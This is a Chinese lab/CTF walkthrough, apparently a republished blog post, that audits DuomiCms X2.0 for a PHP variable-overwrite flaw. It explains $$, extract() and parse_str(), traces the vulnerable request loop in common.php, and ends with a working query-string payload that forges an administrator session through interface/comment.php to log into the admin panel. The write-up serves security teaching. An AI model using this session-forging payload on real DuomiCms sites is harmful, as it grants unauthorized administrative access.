覆盖变量

举报
xcc-2022 发表于 2022/12/31 08:33:01 2022/12/31
【摘要】 知识梳理1. 变量覆盖漏洞变量覆盖指的是用的传参值替换程序原有的变量值一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。变量覆盖漏洞大多数由函数使用不当导致,$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。2. $$$$这种写法称为可变变量,一个可变变量获取了一个普通变...

知识梳理

1. 变量覆盖漏洞

变量覆盖指的是用的传参值替换程序原有的变量值
一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。变量覆盖漏洞大多数由函数使用不当导致,$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。

2. $$

$$这种写法称为可变变量,一个可变变量获取了一个普通变量的值作为这个可变变量的变量名

3. extract()

extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。

4.parse_str()

parse_str函数的作用就是解析字符串到变量中,直接覆盖掉已有变量
注意:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

5. import_request_variables()

import_request_variables—将 GET/POST/Cookie 变量导入到全局作用域中
import_request_variables()函数就是把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候

6. Session和cookie

客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。
区别在于Session是记录在服务端的,而Cookie是记录在客户端的

7. Session的生命周期

Session生成后,只要用户继续访问,服务器就会更新Session的最后访问时间,并维护该Session。用户每访问服务器一次,无论是否读写Session,服务器都认为该用户的Session“活跃(active)”了一次。

8.代码审计流派

  • 通读全文[要审计的代码的全文][需要大量时间]
  • 危险函数定位法 [mysqli_query](推荐)
  • 动态追踪 [可以对代码执行下断点],依靠phpstrom + Xdebug

靶场

http://59.63.200.79:8010/abc/upload/


image
  • 下载(DuomiCms X2.0进行代码审计

  • 进行危险函数定位$$

image

在upload/duomiphp/common.php文件中,有如下可能存在$$变量覆盖的代码

  • 查看源码进行分析
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
  • 定位_RunMagicQuotes()函数
function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

该函数本质上类似魔术引号

  • 从上向下查看代码发现只要进入以下循环,变量覆盖代码会被执行
foreach($_REQUEST as $_k=>$_v)
{
    if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
    {
        exit('Request var not allow!');
    }
}
$_REQUEST as $_k=>$_v 键值分离
strlen()用于判断$_k是否长度
m_eregi()用于判断$_k是否包含cfg_或GLOBALS
所以只要请求中不包含cfg_或GLOBALS,且gat传参和cookie传参中有传参名相同,就不会执行exit(),会执行到变量覆盖代码段。
  • 全局搜索那些文件引用了common.php

/admin/login.php中引用了


image


  • 审计/admin/login.php
require_once(dirname(__FILE__).'/../duomiphp/common.php');
require_once(duomi_INC."/check.admin.php");

后台管理的登录页面同时引用了check.admin.php,该文件处于/duomiphp/目录下。

  • 审计/duomiphp/check.admin.php

发现里面开启了session,这意味着session可能会和Cookie捆绑,也意味着我们如果可以伪造管理员当session就可能登录到管理员后台。


image
//保持用户的会话状态
    //成功返回 1 ,失败返回 -1
    function keepUser()
    {
        if($this->userID!=""&&$this->groupid!="")
        {
            global $admincachefile;

            $_SESSION[$this->keepUserIDTag] = $this->userID;
            $_SESSION[$this->keepgroupidTag] = $this->groupid;
            $_SESSION[$this->keepUserNameTag] = $this->userName;

            $fp = fopen($admincachefile,'w');
            fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
            fclose($fp);
            return 1;
        }
        else
        {
            return -1;
        }
    }

保持会话需要三个参数keepUserIDTag、keepgroupidTag、keepUserNameTag

    var $userName = '';
    var $userPwd = '';
    var $userID = '';
    var $adminDir = '';
    var $groupid = '';
    var $keepUserIDTag = "duomi_admin_id";
    var $keepgroupidTag = "duomi_group_id";
    var $keepUserNameTag = "duomi_admin_name";

发现$groupid是有规律的
/admin/admin_manager.php定义

function getManagerLevel($groupid)
{
    if($groupid==1){
        return "系统管理员";
    }else if($groupid==2){
        return "网站编辑员";
    }else{
        return "未知类型";
    }
}
  • 登陆自建网站后台,获取 $_SESSION

使用die(var_dump($_SESSION));,在我们自己搭建当环境下测试看看,当管理员登录后,$_SESSION会时什么样的。

function keepUser()
    {
        if($this->userID!=""&&$this->groupid!="")
        {
            global $admincachefile;
            $_SESSION[$this->keepUserIDTag] = $this->userID;
            $_SESSION[$this->keepgroupidTag] = $this->groupid;
            $_SESSION[$this->keepUserNameTag] = $this->userName;
            die(var_dump($_SESSION));
            $fp = fopen($admincachefile,'w');
            fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
            fclose($fp);
            return 1;
        }
        else
        {
            return -1;
        }
    }

image
登陆成功后的session值
array(5) {
  ["duomi_ckstr"]=>
  string(4) "edtt"
  ["duomi_ckstr_last"]=>
  string(0) ""
  ["duomi_admin_id"]=>
  string(1) "1"
  ["duomi_group_id"]=>
  string(1) "1"
  ["duomi_admin_name"]=>
  string(5) "admin"
}

伪造管理员session传参

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
duomi_ckstr是验证码,没啥用

必须要先开启session_start(),在引用commmon.php才会造成变量覆盖

  • 搜索先开启session并在后面引用了commmon.php的文件

搜索后发现/interface/comment.php页面符合条件


image
  • 靶场传参
interface/comment.php?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

在访问后台登陆
http://59.63.200.79:8010/abc/upload/admin/


image

直接登陆后台;得到flag{nOthIng_fIag}




作者:虚晃一枪骗过上帝
链接:https://www.jianshu.com/p/73874689b726
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。